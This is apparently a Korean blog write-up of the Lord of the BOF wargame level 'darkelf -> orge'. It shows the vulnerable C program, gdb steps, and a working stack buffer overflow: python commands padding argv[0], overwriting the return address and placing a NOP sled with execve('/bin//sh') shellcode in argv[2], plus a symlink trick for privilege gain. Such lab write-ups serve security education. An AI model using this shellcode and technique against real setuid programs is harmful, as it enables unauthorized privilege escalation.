-->

[LOB] level7, darkelf -> orge 풀이

반응형

LOB, darkelf -> orge 문제 확인

이전 문제에서 argv[0]의 길이가 77인지 체크하는 조건문이 추가되었다. 그 밖의 설명에 대해선 이전 문제들과 동일하니 따로 설명하지는 않겠다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

 

LOB, darkelf -> orge 풀이

argv[0]에는 실행시 입력한 실행 명령어가 저장되므로 해당 길이를 아무렇게나 77로 맞춰주면된다. 난 애초에 gdb를 실행할 때부터 77길이를 맞춰서 실행시켰다.

 

 

 

strcpy 호출 뒤에 bp를 건 후 argv[2]에 B를 100개 넘겨주었다.

 

 

 

쭉쭉 내리다보면 0x42를 확인할 수 있다. argv[2]는 길이체크를 하지 않기 때문에 argv[2]에 nop과 쉘코드를 넣어주면 된다.

 

 

 

실행 명령어를 77바이트로 맞추고 argv[1]에 더미 44바이트와 argv[2] 부근의 적당한 주소를 주고 argv[2]에 nop과 쉘코드를 넣어주었다.

`python -c 'print "/tmp"+"/"*69+"orge"'` 
`python -c 'print "\x90"*44+"\xe4\xfb\xff\xbf"'` 
`python -c 'print "\x90"*5000+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

 

 

바로 쉘이 따지진 않았고 코어덤프가 생겼다. gdb로 코어파일을 확인해보면 내가 RET에 넘겨준 주소값과 실제 nop과 좀 차이가 많이났다.

 

 

 

따라서 RET에 덮을 주소를 아래 nop이 있는 주소로 적당히 변경해준다.

 

 

 

LOB, darkelf -> orge 익스플로잇

그런데 한가지 문제점이 tmp에 있는 파일을 대상으로 하면 복사파일이기 때문에 익스가 성공해도 orge 계정 권한을 획득할 수 없게된다. 따라서 고민하던 중 링크를 참고해서, 심볼릭 링크를 거는 방법을 사용해서 쉘을 획득 할 수 있게됐다.

 

 

댓글

Designed by JB FACTORY